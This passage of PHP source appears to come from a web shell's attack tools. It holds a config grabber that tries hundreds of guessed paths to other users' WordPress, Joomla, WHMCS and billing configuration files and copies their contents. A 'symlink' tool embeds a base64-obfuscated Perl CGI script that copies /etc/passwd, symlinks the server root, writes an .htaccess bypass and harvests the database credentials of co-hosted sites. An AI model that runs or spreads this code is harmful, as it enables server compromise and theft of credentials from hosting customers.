832 "$user_docroot/forum/includes/config.php" => "Vbulletin",
833 "$user_docroot/forums/includes/config.php" => "Vbulletin",
834 "$user_docroot/cc/includes/config.php" => "Vbulletin",
835 "$user_docroot/inc/config.php" => "MyBB",
836 "$user_docroot/includes/configure.php" => "OsCommerce",
837 "$user_docroot/shop/includes/configure.php" => "OsCommerce",
838 "$user_docroot/os/includes/configure.php" => "OsCommerce",
839 "$user_docroot/oscom/includes/configure.php" => "OsCommerce",
840 "$user_docroot/products/includes/configure.php" => "OsCommerce",
841 "$user_docroot/cart/includes/configure.php" => "OsCommerce",
842 "$user_docroot/inc/conf_global.php" => "IPB",
843 "$user_docroot/wp-config.php" => "Wordpress",
844 "$user_docroot/wp/test/wp-config.php" => "Wordpress",
845 "$user_docroot/blog/wp-config.php" => "Wordpress",
846 "$user_docroot/beta/wp-config.php" => "Wordpress",
847 "$user_docroot/portal/wp-config.php" => "Wordpress",
848 "$user_docroot/site/wp-config.php" => "Wordpress",
849 "$user_docroot/wp/wp-config.php" => "Wordpress",
850 "$user_docroot/WP/wp-config.php" => "Wordpress",
851 "$user_docroot/news/wp-config.php" => "Wordpress",
852 "$user_docroot/wordpress/wp-config.php" => "Wordpress",
853 "$user_docroot/test/wp-config.php" => "Wordpress",
854 "$user_docroot/demo/wp-config.php" => "Wordpress",
855 "$user_docroot/home/wp-config.php" => "Wordpress",
856 "$user_docroot/v1/wp-config.php" => "Wordpress",
857 "$user_docroot/v2/wp-config.php" => "Wordpress",
858 "$user_docroot/press/wp-config.php" => "Wordpress",
859 "$user_docroot/new/wp-config.php" => "Wordpress",
860 "$user_docroot/blogs/wp-config.php" => "Wordpress",
861 "$user_docroot/configuration.php" => "Joomla",
862 "$user_docroot/blog/configuration.php" => "Joomla",
863 "$user_docroot/submitticket.php" => "^WHMCS",
864 "$user_docroot/cms/configuration.php" => "Joomla",
865 "$user_docroot/beta/configuration.php" => "Joomla",
866 "$user_docroot/portal/configuration.php" => "Joomla",
867 "$user_docroot/site/configuration.php" => "Joomla",
868 "$user_docroot/main/configuration.php" => "Joomla",
869 "$user_docroot/home/configuration.php" => "Joomla",
870 "$user_docroot/demo/configuration.php" => "Joomla",
871 "$user_docroot/test/configuration.php" => "Joomla",
872 "$user_docroot/v1/configuration.php" => "Joomla",
873 "$user_docroot/v2/configuration.php" => "Joomla",
874 "$user_docroot/joomla/configuration.php" => "Joomla",
875 "$user_docroot/new/configuration.php" => "Joomla",
876 "$user_docroot/WHMCS/submitticket.php" => "WHMCS",
877 "$user_docroot/whmcs1/submitticket.php" => "WHMCS",
878 "$user_docroot/Whmcs/submitticket.php" => "WHMCS",
879 "$user_docroot/whmcs/submitticket.php" => "WHMCS",
880 "$user_docroot/whmcs/submitticket.php" => "WHMCS",
881 "$user_docroot/WHMC/submitticket.php" => "WHMCS",
882 "$user_docroot/Whmc/submitticket.php" => "WHMCS",
883 "$user_docroot/whmc/submitticket.php" => "WHMCS",
884 "$user_docroot/WHM/submitticket.php" => "WHMCS",
885 "$user_docroot/Whm/submitticket.php" => "WHMCS",
886 "$user_docroot/whm/submitticket.php" => "WHMCS",
887 "$user_docroot/HOST/submitticket.php" => "WHMCS",
888 "$user_docroot/Host/submitticket.php" => "WHMCS",
889 "$user_docroot/host/submitticket.php" => "WHMCS",
890 "$user_docroot/SUPPORTES/submitticket.php" => "WHMCS",
891 "$user_docroot/Supportes/submitticket.php" => "WHMCS",
892 "$user_docroot/supportes/submitticket.php" => "WHMCS",
893 "$user_docroot/domains/submitticket.php" => "WHMCS",
894 "$user_docroot/domain/submitticket.php" => "WHMCS",
895 "$user_docroot/Hosting/submitticket.php" => "WHMCS",
896 "$user_docroot/HOSTING/submitticket.php" => "WHMCS",
897 "$user_docroot/hosting/submitticket.php" => "WHMCS",
898 "$user_docroot/CART/submitticket.php" => "WHMCS",
899 "$user_docroot/Cart/submitticket.php" => "WHMCS",
900 "$user_docroot/cart/submitticket.php" => "WHMCS",
901 "$user_docroot/ORDER/submitticket.php" => "WHMCS",
902 "$user_docroot/Order/submitticket.php" => "WHMCS",
903 "$user_docroot/order/submitticket.php" => "WHMCS",
904 "$user_docroot/CLIENT/submitticket.php" => "WHMCS",
905 "$user_docroot/Client/submitticket.php" => "WHMCS",
906 "$user_docroot/client/submitticket.php" => "WHMCS",
907 "$user_docroot/CLIENTAREA/submitticket.php" => "WHMCS",
908 "$user_docroot/Clientarea/submitticket.php" => "WHMCS",
909 "$user_docroot/clientarea/submitticket.php" => "WHMCS",
910 "$user_docroot/SUPPORT/submitticket.php" => "WHMCS",
911 "$user_docroot/Support/submitticket.php" => "WHMCS",
912 "$user_docroot/support/submitticket.php" => "WHMCS",
913 "$user_docroot/BILLING/submitticket.php" => "WHMCS",
914 "$user_docroot/Billing/submitticket.php" => "WHMCS",
915 "$user_docroot/billing/submitticket.php" => "WHMCS",
916 "$user_docroot/BUY/submitticket.php" => "WHMCS",
917 "$user_docroot/Buy/submitticket.php" => "WHMCS",
918 "$user_docroot/buy/submitticket.php" => "WHMCS",
919 "$user_docroot/MANAGE/submitticket.php" => "WHMCS",
920 "$user_docroot/Manage/submitticket.php" => "WHMCS",
921 "$user_docroot/manage/submitticket.php" => "WHMCS",
922 "$user_docroot/CLIENTSUPPORT/submitticket.php" => "WHMCS",
923 "$user_docroot/ClientSupport/submitticket.php" => "WHMCS",
924 "$user_docroot/Clientsupport/submitticket.php" => "WHMCS",
925 "$user_docroot/clientsupport/submitticket.php" => "WHMCS",
926 "$user_docroot/CHECKOUT/submitticket.php" => "WHMCS",
927 "$user_docroot/Checkout/submitticket.php" => "WHMCS",
928 "$user_docroot/checkout/submitticket.php" => "WHMCS",
929 "$user_docroot/BILLINGS/submitticket.php" => "WHMCS",
930 "$user_docroot/Billings/submitticket.php" => "WHMCS",
931 "$user_docroot/billings/submitticket.php" => "WHMCS",
932 "$user_docroot/BASKET/submitticket.php" => "WHMCS",
933 "$user_docroot/Basket/submitticket.php" => "WHMCS",
934 "$user_docroot/basket/submitticket.php" => "WHMCS",
935 "$user_docroot/SECURE/submitticket.php" => "WHMCS",
936 "$user_docroot/Secure/submitticket.php" => "WHMCS",
937 "$user_docroot/secure/submitticket.php" => "WHMCS",
938 "$user_docroot/SALES/submitticket.php" => "WHMCS",
939 "$user_docroot/Sales/submitticket.php" => "WHMCS",
940 "$user_docroot/sales/submitticket.php" => "WHMCS",
941 "$user_docroot/BILL/submitticket.php" => "WHMCS",
942 "$user_docroot/Bill/submitticket.php" => "WHMCS",
943 "$user_docroot/bill/submitticket.php" => "WHMCS",
944 "$user_docroot/PURCHASE/submitticket.php" => "WHMCS",
945 "$user_docroot/Purchase/submitticket.php" => "WHMCS",
946 "$user_docroot/purchase/submitticket.php" => "WHMCS",
947 "$user_docroot/ACCOUNT/submitticket.php" => "WHMCS",
948 "$user_docroot/Account/submitticket.php" => "WHMCS",
949 "$user_docroot/account/submitticket.php" => "WHMCS",
950 "$user_docroot/USER/submitticket.php" => "WHMCS",
951 "$user_docroot/User/submitticket.php" => "WHMCS",
952 "$user_docroot/user/submitticket.php" => "WHMCS",
953 "$user_docroot/CLIENTS/submitticket.php" => "WHMCS",
954 "$user_docroot/Clients/submitticket.php" => "WHMCS",
955 "$user_docroot/clients/submitticket.php" => "WHMCS",
956 "$user_docroot/BILLINGS/submitticket.php" => "WHMCS",
957 "$user_docroot/Billings/submitticket.php" => "WHMCS",
958 "$user_docroot/billings/submitticket.php" => "WHMCS",
959 "$user_docroot/MY/submitticket.php" => "WHMCS",
960 "$user_docroot/My/submitticket.php" => "WHMCS",
961 "$user_docroot/my/submitticket.php" => "WHMCS",
962 "$user_docroot/secure/whm/submitticket.php" => "WHMCS",
963 "$user_docroot/secure/whmcs/submitticket.php" => "WHMCS",
964 "$user_docroot/panel/submitticket.php" => "WHMCS",
965 "$user_docroot/clientes/submitticket.php" => "WHMCS",
966 "$user_docroot/cliente/submitticket.php" => "WHMCS",
967 "$user_docroot/support/order/submitticket.php" => "WHMCS",
968 "$user_docroot/bb-config.php" => "BoxBilling",
969 "$user_docroot/boxbilling/bb-config.php" => "BoxBilling",
970 "$user_docroot/box/bb-config.php" => "BoxBilling",
971 "$user_docroot/host/bb-config.php" => "BoxBilling",
972 "$user_docroot/Host/bb-config.php" => "BoxBilling",
973 "$user_docroot/supportes/bb-config.php" => "BoxBilling",
974 "$user_docroot/support/bb-config.php" => "BoxBilling",
975 "$user_docroot/hosting/bb-config.php" => "BoxBilling",
976 "$user_docroot/cart/bb-config.php" => "BoxBilling",
977 "$user_docroot/order/bb-config.php" => "BoxBilling",
978 "$user_docroot/client/bb-config.php" => "BoxBilling",
979 "$user_docroot/clients/bb-config.php" => "BoxBilling",
980 "$user_docroot/cliente/bb-config.php" => "BoxBilling",
981 "$user_docroot/clientes/bb-config.php" => "BoxBilling",
982 "$user_docroot/billing/bb-config.php" => "BoxBilling",
983 "$user_docroot/billings/bb-config.php" => "BoxBilling",
984 "$user_docroot/my/bb-config.php" => "BoxBilling",
985 "$user_docroot/secure/bb-config.php" => "BoxBilling",
986 "$user_docroot/support/order/bb-config.php" => "BoxBilling",
987 "$user_docroot/includes/dist-configure.php" => "Zencart",
988 "$user_docroot/zencart/includes/dist-configure.php" => "Zencart",
989 "$user_docroot/products/includes/dist-configure.php" => "Zencart",
990 "$user_docroot/cart/includes/dist-configure.php" => "Zencart",
991 "$user_docroot/shop/includes/dist-configure.php" => "Zencart",
992 "$user_docroot/includes/iso4217.php" => "Hostbills",
993 "$user_docroot/hostbills/includes/iso4217.php" => "Hostbills",
994 "$user_docroot/host/includes/iso4217.php" => "Hostbills",
995 "$user_docroot/Host/includes/iso4217.php" => "Hostbills",
996 "$user_docroot/supportes/includes/iso4217.php" => "Hostbills",
997 "$user_docroot/support/includes/iso4217.php" => "Hostbills",
998 "$user_docroot/hosting/includes/iso4217.php" => "Hostbills",
999 "$user_docroot/cart/includes/iso4217.php" => "Hostbills",
1000 "$user_docroot/order/includes/iso4217.php" => "Hostbills",
1001 "$user_docroot/client/includes/iso4217.php" => "Hostbills",
1002 "$user_docroot/clients/includes/iso4217.php" => "Hostbills",
1003 "$user_docroot/cliente/includes/iso4217.php" => "Hostbills",
1004 "$user_docroot/clientes/includes/iso4217.php" => "Hostbills",
1005 "$user_docroot/billing/includes/iso4217.php" => "Hostbills",
1006 "$user_docroot/billings/includes/iso4217.php" => "Hostbills",
1007 "$user_docroot/my/includes/iso4217.php" => "Hostbills",
1008 "$user_docroot/secure/includes/iso4217.php" => "Hostbills",
1009 "$user_docroot/support/order/includes/iso4217.php" => "Hostbills"
1010
1011 );
1012 foreach($getconfig as $config => $userconfig) {
1013 $get = file_get_contents($config);
1014 if($get == '') {
1015 }
1016 else {
1017 $fopen = fopen("idx_config/$user-$userconfig.txt", "w");
1018 fputs($fopen, $get);
1019 }
1020 }
1021 }
1022 }
1023 }
1024 print "<div style='background: #ffffff; width: 100%; height: 100%'>";
1025 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/idx_config/' frameborder='0' scrolling='yes'><iframe>";
1026 print "</div>";
1027 }
1028 elseif($toolsname === "symlink") {
1029 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create directory 'idx_sym'."));
1030 if(!is_dir(path()."/idx_sym/")) {
1031 $sym['code'] = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQojICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjIA0KIw0KIwkJTmFtZSA6IFBlcmwvQ0dJIENvbmZpZyBTeW1saW5rZXIgKFdpdGggQXV0byBCeXBhc3MgU3ltbGluayA0MDQpDQojCQlWZXJzaW9uIDogMS4yDQojCQlDcmVhdGVkIDogOSBNZWkgMjAxNw0KIwkJQXV0aG9yIDogMHgxOTk5DQojCQlUaGFua3MgVG8gOiAweElEaW90ICwgSW5kb25lc2lhbiBDb2RlIFBhcnR5ICwgSmF0aW00dQ0KIwkJTW9yZSBJbmZvIDogaHR0cDovLzB4RGFyay5ibG9nc3BvdC5jb20NCiMJCVdhbnQgdG8gcmVjb2RlID8gRG9uJ3QgZm9yZ2V0IG15IG5pY2sgbmFtZSAgOikNCiMJCWh0dHA6Ly9mYWNlYm9vay5jb20vbWVsZXguMWQNCiMJCQ0KIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyANCg0KdXNlIEZpbGU6OkNvcHk7DQp1c2Ugc3RyaWN0Ow0KdXNlIHdhcm5pbmdzOw0KdXNlIE1JTUU6OkJhc2U2NDsNCmNvcHkoIi9ldGMvcGFzc3dkIiwicGFzc3dkLnR4dCIpIDsNCm1rZGlyICJpZHhfc3ltIjsNCnN5bWxpbmsoIi8iLCJpZHhfc3ltL3Jvb3QiKTsNCm15ICRmaWxlbmFtZSA9ICdwYXNzd2QudHh0JzsNCm15ICRodGFjY2VzcyA9IGRlY29kZV9iYXNlNjQoIlQzQjBhVzl1Y3lCSmJtUmxlR1Z6SUVadmJHeHZkMU41YlV4cGJtdHpEUXBFYVhKbFkzUnZjbmxKYm1SbGVDQnBibVJ2ZUhCc2IybDBMbWgwYlEwS1FXUmtWSGx3WlNCMFpYaDBMM0JzWVdsdUlDNXdhSEFnRFFwQlpHUklZVzVrYkdWeUlIUmxlSFF2Y0d4aGFXNGdMbkJvY0EwS1UyRjBhWE5tZVNCQmJua05Da2x1WkdWNFQzQjBhVzl1Y3lBclEyaGhjbk5sZEQxVlZFWXRPQ0FyUm1GdVkzbEpibVJsZUdsdVp5QXJTV2R1YjNKbFEyRnpaU0FyUm05c1pHVnljMFpwY25OMElDdFlTRlJOVENBclNGUk5URlJoWW14bElDdFRkWEJ3Y21WemMxSjFiR1Z6SUN0VGRYQndjbVZ6YzBSbGMyTnlhWEIwYVc5dUlDdE9ZVzFsVjJsa2RHZzlLaUFOQ2tGa1pFbGpiMjRnSjJSaGRHRTZhVzFoWjJVdmNHNW5PMkpoYzJVMk5DeHBWa0pQVW5jd1MwZG5iMEZCUVVGT1UxVm9SVlZuUVVGQlFrRkJRVUZCVVVOQldVRkJRVUZtT0M4NWFFRkJRVUZDU0U1RFUxWlJTVU5CWjBsbVFXaHJhVUZCUVVGQmJIZFRSbXg2UVVGQlRqRjNRVUZFWkdOQ1VXbHBZbVZCUVVGQlFtd3dVbFpvTUZVeU9XMWtTR1JvWTIxVlFXUXpaRE5NYld4MVlUTk9hbGxZUW14TWJUbDVXalYyZFZCQ2IwRkJRVVpWVTFWU1FsWkVhVTV3V2tzNVUyZE9Ra1pKV0ZCMldFNXVaR3BqVW05d1dEUlZOR3RYVm5JMVFVTm9WVGRJT0VKVFprbDBRVWhyUWpsRFdITnlWekJIZDBWUmRGSjNWa3ROVW5SQlZUaGFZMWxYWVU1dFRUSlBlSEY1ZVdsWldtUmpSMGxoV2pSYU56ZE5aV1ZSWTNjMlJFWkJMMVZFVlVGQldVaElhamhvVDBGVWFqbHZVbE5sTWxveFpqSkxhbEF4Wm1kTWEyNU5VRk0xYkZjd1ZtazBjRnB2Y0haSVdFUlhLMGxvVDNJNU9XZFlWSHByY2pseGRsUkNUWFJ5VG1RNFFYTk1WbU52YlZwTFJGQTJNV3RGVEdsb1IwbEtPVkZDWjA4eWFtUnpTVVV2U21JMVQyRmpSMFpCZDBSUlJXVk5SVTlhYm1neFJYRk5RMmgwVTBJNFlUWTBRbGN5VFU1b04xRldhV2hEUjB0alRraHpkMjFhTUd4QmExbEllRVkwVVdoQ1VFTkxTVmxTVlRsc05qQTFTMjFIUTBWSlZWbDZkRU5aVFVKbWEwVnFSMW8wVDJsSWQxSlJSaXQyYTFGSEszQjBRVU5KUmxKRlNsWlFVVUYyUm1ZclFuSnFiM2xSSzBOYVpuRnhNVEU0UkZKR1JXaHFaV0ppWW1Wc05tUkhhWGxVY1dZcmRsTnlhMkZTVVM4d2RYUk1OMjFJV0d3NWRuRXJaVkF6Vlc1aWFDOUlOV2RFUzJsUFJqWTNXV1ZpV1RCa1UwcGpVa0p0TUhveWNrWnNNbmxYY0RoQlZrUkpWek15WkdFM2NFeEJRVUZCUVVWc1JsUnJVM1ZSYlVOREp5QmVYa1JKVWtWRFZFOVNXVjVlRFFwRVpXWmhkV3gwU1dOdmJpQW5aR0YwWVRwcGJXRm5aUzl3Ym1jN1ltRnpaVFkwTEdsV1FrOVNkekJMUjJkdlFVRkJRVTVUVldoRlZXZEJRVUZDUVVGQlFVRlJRMEZaUVVGQlFXWTRMemxvUVVGQlFVRllUbE5TTUVsQmNuTTBZelpSUVVGQlFWcHBVekJrUlVGUU9FRXZkMFF2YjB3eWJtdDNRVUZCUVd4M1UwWnNla0ZCUVV4RmQwRkJRM2hOUWtGS2NXTkhRVUZCUVVGa01GTlZNVVpDT1c5S1FtaGpWRXAyTWtJeVpEUkJRVUZLVFZOVlVrSldSR3BNWWxwUE9WUm9lRnBGU1ZjdmNXeDJaSFJOTXpoQ1RtZEtVVzFSWjBwSFpDdEJMMDFSUWt4M1IycHBkMGd6Ym5ka2ExTk1kRTh5ZUVWU1J6Vk1jWGhZVWxOSlVqSlpSR1pFTkVkclIwMHdVRE55WWpSaU9WQkJlakJzTjNCVGJGZHNWekJtYm01TWIyeEJTVkJDTkZCWWFEUmxSblZ1ZFdOQlNVbE1kMlJGVTJWYWVVRnBabTV3Tml0MU9XOU9URzh6WjAwelRucFVaRWhTS3k4dmVuWktUWHBUZVVwTFMyOWthVWxuT0VGWVlYaGxTWG94WWtSYU4wMTRjVTVtZEdkVFZWSkVWM2szVEZWdVdqQmtXVzE0UVVaQlZrVnNTVFpCUlVONVowbHpVVkZ6YVhwTVFrOUJRa0ZFVDJwTFFYQnhhRGQxTjBkdlExVlhhWGRaWW1WMGIxVkljbkpRWTNkRGNXOUdNa3RWWlZoTWVrVjZRbll3SzNWUmJWTklUVVZhT1VZMlUxcGpjalpwTkVselFrOWhMMkkzU0ZGTllVaDBTVUYzWjB4a1NHRnNSRUV4WlhZd1pWRmlVMnB5UlhKUmQwcHdjVVkwWlVGNEwyaHZjVVF4TXpKdFRXdEtjbWsxZFZOUGJFWm9SV2h3VlZGSmFXOXFkMkZ0VDBST2MyeHFabFZYUTNGd1RHNVBZV0ZEVTB0S2RHNWhRa056V2xscVFXeHNiVmhKTkhaaFpXOWhWbGd3WTJKVFpHaHRWVkl6ZWtGTGRrNXFXVFpXYVc5dk1IUlhlbWRGYjI1TFlsY3JTMnRIVjNRelZXNTBNRU5sUjJaS2N6bG5LMVZWTUhKRlIwaElMMGgzTDAxcVNEWXZWQ3RRVDJSR2IxSk9TME5vVFRJeWVHMVBVR1Z6Y0dwUVIxRTJTSEJPVVRJM2REWnpRVU5FVTA1aGJubHZiR3BFVEVWa1ZtRkdUMHhsT0ZwclZXcExOWFZyY1ROME56bHNVRU0zTDA5RWF6VkhZU3RaTms4MVRYRjViVTUzTTFZeGVUTm9lWHBtV0RCb2NYWktUSGxpV0Vaa0t5dG1NbVF6WkRCa2JYTXJjWFpuTkU5RWVqaG1TSGd3TDB4elltVXpPVFkwYzFNM0t6UjFSV3AxYm5CeGJWTmxObVV6UkROT05TOU9NRmRhWW5Sc2VUbG1NRGx1V2pKYUwySXlPWFl5Wmt4RlpYWjJTemx4ZGpkak1uUnZTMms0VldscFVXbHhTR0p0Tm5KcFZ6WmhNVE5tYml0NmRqY3pLMjl4YjNKb1kweG5TMVZHV0ZaUUsyWnVOVElyVEc5dWFqaEpURW93VURoYVNVTkRSamt2VUZSd1EyeG9jRUoyWjFCbGJHOU1PVlUxTlU1SlFVRkJRVUZCVTFWV1QxSkxOVU5aU1VrOUp3MEtTVzVrWlhoSloyNXZjbVVnS2k1MGVIUTBNRFFOQ2tsdVpHVjRVM1I1YkdWVGFHVmxkQ0FuYUhSMGNEb3ZMMlYyWlc1MExtbHVaRzk0Y0d4dmFYUXViM0l1YVdRdmMzbHRiR2x1YXk1amMzTW5EUXBTWlhkeWFYUmxSVzVuYVc1bElFOXVEUXBTWlhkeWFYUmxRMjl1WkNBbGUxSkZVVlZGVTFSZlJrbE1SVTVCVFVWOUlGNHVLakI0YzNsdE5EQTBJRnRPUTEwTkNsSmxkM0pwZEdWU2RXeGxJRnd1ZEhoMEpDQWxlMUpGVVZWRlUxUmZWVkpKZlRRd05DQmJUQ3hTUFRNd01pNU9RMTA9Iik7DQpteSAkc3ltID0gZGVjb2RlX2Jhc2U2NCgiVDNCMGFXOXVjeUJKYm1SbGVHVnpJRVp2Ykd4dmQxTjViVXhwYm10ekRRcEVhWEpsWTNSdmNubEpibVJsZUNCcGJtUnZlSEJzYjJsMExtaDBiUTBLU0dWaFpHVnlUbUZ0WlNBd2VERTVPVGt1ZEhoMERRcFRZWFJwYzJaNUlFRnVlUTBLU1c1a1pYaFBjSFJwYjI1eklFbG5ibTl5WlVOaGMyVWdSbUZ1WTNsSmJtUmxlR2x1WnlCR2IyeGtaWEp6Um1seWMzUWdUbUZ0WlZkcFpIUm9QU29nUkdWelkzSnBjSFJwYjI1WGFXUjBhRDBxSUZOMWNIQnlaWE56U0ZSTlRGQnlaV0Z0WW14bERRcEpibVJsZUVsbmJtOXlaU0FxRFFwSmJtUmxlRk4wZVd4bFUyaGxaWFFnSjJoMGRIQTZMeTlsZG1WdWRDNXBibVJ2ZUhCc2IybDBMbTl5TG1sa0wzTjViV3hwYm1zdVkzTnpKdz09Iik7DQpvcGVuKG15ICRmaDEsICc+JywgJ2lkeF9zeW0vLmh0YWNjZXNzJyk7DQpwcmludCAkZmgxICIkaHRhY2Nlc3MiOw0KY2xvc2UgJGZoMTsNCm9wZW4obXkgJHh4LCAnPicsICdpZHhfc3ltL25lbXUudHh0Jyk7DQpwcmludCAkeHggIiRzeW0iOw0KY2xvc2UgJHh4Ow0Kb3BlbihteSAkZmgsICc8OmVuY29kaW5nKFVURi04KScsICRmaWxlbmFtZSk7DQp3aGlsZSAobXkgJHJvdyA9IDwkZmg+KSB7DQpteSBAbWF0Y2hlcyA9ICRyb3cgPX4gLyguKj8pOng6L2c7DQpteSAkdXNlcm55YSA9ICQxOw0KbXkgQGFycmF5ID0gKA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy8uYWNjZXNzaGFzaCcsIHR5cGUgPT4gJ1dITS1hY2Nlc3NoYXNoJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jb25maWcva29uZWtzaS5waHAnLCB0eXBlID0+ICdMb2tvbWVkaWEnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2NvbmZpZy9zZXR0aW5ncy5pbmMucGhwJywgdHlwZSA9PiAnUHJlc3RhU2hvcCcgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYXBwL2V0Yy9sb2NhbC54bWwnLCB0eXBlID0+ICdNYWdlbnRvJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywgdHlwZSA9PiAnT3BlbkNhcnQnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2FwcGxpY2F0aW9uL2NvbmZpZy9kYXRhYmFzZS5waHAnLCB0eXBlID0+ICdFbGxpc2xhYicgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvd3AvdGVzdC93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvcG9ydGFsL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3NpdGUvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvV1Avd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvbmV3cy93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC93b3JkcHJlc3Mvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvdGVzdC93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9kZW1vL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2hvbWUvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvdjEvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvdjIvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvcHJlc3Mvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvbmV3L3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2Jsb2dzL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnXldITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2JldGEvY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3BvcnRhbC9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvc2l0ZS9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCc